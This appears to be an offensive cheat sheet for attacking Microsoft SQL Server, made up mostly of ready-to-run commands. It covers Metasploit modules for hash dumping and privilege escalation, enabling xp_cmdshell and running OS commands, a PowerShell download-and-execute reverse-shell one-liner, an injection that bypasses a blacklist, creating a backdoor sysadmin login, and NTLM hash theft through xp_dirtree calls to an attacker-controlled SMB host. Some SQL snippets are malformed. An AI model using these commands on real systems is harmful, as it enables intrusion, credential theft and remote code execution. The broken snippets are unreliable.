Microsoft SQL Server (MSSQL)

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Automatic Enumeration

If you don't know nothing about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Metasploit (need creds)

#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Manual Enumeration


# Using Impacket [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> 
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Common Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Get User

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
       type_desc as type,
       authentication_type_desc as authentication_type,
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Execute OS Commands

Note that in order to be able to execute commands it's not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping' —

Steal NetNTLM hash / Relay attack

You should start a SMB server to capture the hash used in the authentication (impacket-smbserver or responder for example).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

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